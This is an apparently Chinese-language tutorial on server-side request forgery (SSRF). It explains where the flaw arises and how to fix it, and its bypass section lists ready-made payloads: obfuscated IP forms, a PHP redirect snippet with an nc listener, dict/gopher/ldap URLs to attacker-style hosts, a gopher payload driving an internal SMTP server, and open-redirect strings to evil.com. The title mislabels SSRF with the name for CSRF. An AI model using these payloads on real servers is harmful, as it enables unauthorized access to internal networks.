1. 程式人生 > 實用技巧 >跨站請求偽造(SSRF)

跨站請求偽造(SSRF)

SSRF漏洞簡介

SSRF(服務端請求偽造)是一種利用漏洞未在服務端發起請求。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。

漏洞原理

通過控制功能中的發起請求的服務來當作跳板攻擊內網中其他服務。比如,通過控制前臺的請求遠端地址載入的響應,來讓請求資料由遠端的URL域名修改為請求本地、或者內網的IP地址及服務,來造成對內網系統的攻擊。

漏洞危害

1、掃描內網開放服務

2、向內部任意主機的任意埠傳送payload來攻擊內網服務

3、DOS攻擊(請求大檔案,保持連線)

4、攻擊內網的web應用

5、利用file、gopher、dict協議讀取本地檔案、執行命令

漏洞檢測

1、分享功能

2、圖片載入與下載

3、圖片、文章收藏功能

4、轉碼服務:通過URL地址把原地址的網頁內容調優使其適合手機螢幕瀏覽

5、雲服務廠商:它會遠端執行一些命令來判斷網站是否存活等,所以如果可以捕獲相應的資訊,就可以進行ssrf測試

6、網站採集,網站抓取的地方:一些網站會針對你輸入的url進行一些資訊採集工作

7、資料庫內建功能:資料庫的比如mongodb的copyDatabase函式

8、郵件系統:比如接收郵件伺服器地址

9、編碼處理, 屬性資訊處理,檔案處理:比如ffpmg,ImageMagick,docx,pdf,xml處理器等

10、未公開的api實現以及其他擴充套件呼叫URL的功能:可以利用google 語法加上這些關鍵字去尋找SSRF漏洞

11、從遠端伺服器請求資源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎物件的地方 如wordpress xmlrpc.php)

12、利用關鍵字查詢

share 
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
...

漏洞利用

1.讓服務端去訪問相應的網址

2.讓服務端去訪問自己所處內網的一些指紋檔案來判斷是否存在相應的cms

3.可以使用file、dict、gopher[11]、ftp協議進行請求訪問相應的檔案

4.攻擊內網web應用(可以向內部任意主機的任意埠傳送精心構造的資料包{payload})

5.攻擊內網應用程式(利用跨協議通訊技術)

6.判斷內網主機是否存活:方法是訪問看是否有埠開放

7.DoS攻擊(請求大檔案,始終保持連線keep-alive always)

SSRF Bypass

1、如果後端伺服器在接收到引數後,正確的解析了URL的host,並且進行了過濾,我們這個時候可以使用302跳轉的方式來進行繞過。

(1)、在網路上存在一個很神奇的服務,http://xip.io當我們訪問這個網站的子域名的時候,例如192.168.0.1.xip.io,就會自動重定向到192.168.0.1。

(2)、由於上述方法中包含了192.168.0.1這種內網IP地址,可能會被正則表示式過濾掉,我們可以通過短地址的方式來繞過。經過測試發現新浪,百度的短地址服務並不支援IP模式,所以這裡使用的是http://tinyurl.com所提供的短地址服務,如下圖所示:

同樣的,我們也可以自行寫一個跳轉的服務介面來實現類似的功能。

當請求遭遇404的時候,可以嘗試一下跳轉。

<?php
    header('Location: http://ip:port')
?>

然後使用nc 監聽該埠的請求。

2、利用進位制轉換,可以是十六進位制,八進位制等。 115.239.210.26>>>16373751032 首先把這四段數字給分別轉成16進位制,結果:73efd21a 然後把73efd21a這十六進位制一起轉換成8進位制 記得訪問的時候加0表示使用八進位制(可以是一個0也可以是多個0跟XSS中多加幾個0來繞過過濾一樣),十六進位制加0x

3、利用句號。如:127。0。0。1>>>127.0.0.1

4、IP地址省略,如127.1>>>127.0.0.1

5、利用@,比如 [email protected]

6、利用短地址,比如:https://4m.cn/ejr0w

7、利用特殊域名觸發DNS解析,比如:http://127.0.0.1.xip.io

8、利用特殊地址,比如:http://0/ >>>127.0.0.1

9、利用Enclosed alphanumerics Unicode字元,

比如①②⑦.⓿.⓿.①

10、利用[::],比如:http://[::]:80/

11、修改報文內容,比如:把"type=file"修改為"type=url",

比如: 上傳圖片處修改上傳,將圖片檔案修改為URL,即可能觸發SSRF

12、利用域名解析,這個需要設定域名指向

  在域名上設定A記錄,指向127.0.1

13、利用協議,比如:ssrf.php?url=sftp://domain:xxx/

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%[email protected]%3E%250d%250aRCPT%20TO%3A%[email protected]%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%[email protected]%3E%250d%250aTo%3A%20%[email protected]%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

14、利用302跳轉

15、利用IPV6

16、利用組合,各種方法組合使用

17、DNS Rebinding

對於常見的IP限制,後端伺服器可能通過下圖的流程進行IP過濾:

對於使用者請求的URL引數,首先伺服器端會對其進行DNS解析,然後對於DNS伺服器返回的IP地址進行判斷,如果在黑名單中,就pass掉。

但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,我們可以進行DNS 重繫結攻擊。

要完成DNS重繫結攻擊,我們需要一個域名,並且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設定TTL時間為0。這樣就可以進行攻擊了,完整的攻擊流程為:

(1)、伺服器端獲得URL引數,進行第一次DNS解析,獲得了一個非內網的IP

(2)、對於獲得的IP進行判斷,發現為非黑名單IP,則通過驗證

(3)、伺服器端對於URL進行訪問,由於DNS伺服器設定的TTL為0,所以再次進行DNS解析,這一次DNS伺服器返回的是內網地址。

(4)、由於已經繞過驗證,所以伺服器端返回訪問內網資源的結果。

18、畸形構造繞過

a. 單斜線"/"繞過
https://www.xxx.com/redirect.php?url=/www.evil.com
b. 缺少協議繞過
https://www.xxx.com/redirect.php?url=//www.evil.com
c. 多斜線"/"字首繞過
https://www.xxx.com/redirect.php?url=///www.evil.com
https://www.xxx.com/redirect.php?url=www.evil.com
d. 利用"@"符號繞過
https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.evil.com
e. 利用反斜線"\"繞過
https://www.xxx.com/redirect.php?url=https://www.evil.com\https://www.xxx.com/
f. 利用"#"符號繞過
https://www.xxx.com/redirect.php?url=https://www.evil.com#https://www.xxx.com/
g. 利用"?"號繞過
https://www.xxx.com/redirect.php?url=https://www.evil.com?www.xxx.com
h. 利用"\\"繞過
https://www.xxx.com/redirect.php?url=https://www.evil.com\\www.xxx.com
i. 利用"."繞過
https://www.xxx.com/redirect.php?url=.evil         
https://www.xxx.com/redirect.php?url=.evil.com 
j.重複特殊字元繞過
https://www.xxx.com/redirect.php?url=///www.evil.com//..
https://www.xxx.com/redirect.php?url=www.evil.com//..

漏洞修復

1.禁止跳轉

2.過濾返回資訊,驗證遠端伺服器對請求的響應是比較容易的方法。如果web應用是去獲取某一種型別的檔案。那麼在把返回結果展示給使用者之前先驗證返回的資訊是否符合標準。

3.禁用不需要的協議,僅僅允許http和https請求。可以防止類似於file://, gopher://, ftp:// 等引起的問題

4.設定URL白名單或者限制內網IP(使用gethostbyname()判斷是否為內網IP)

5.限制請求的埠為http常用的埠,比如 80、443、8080、8090

6.統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。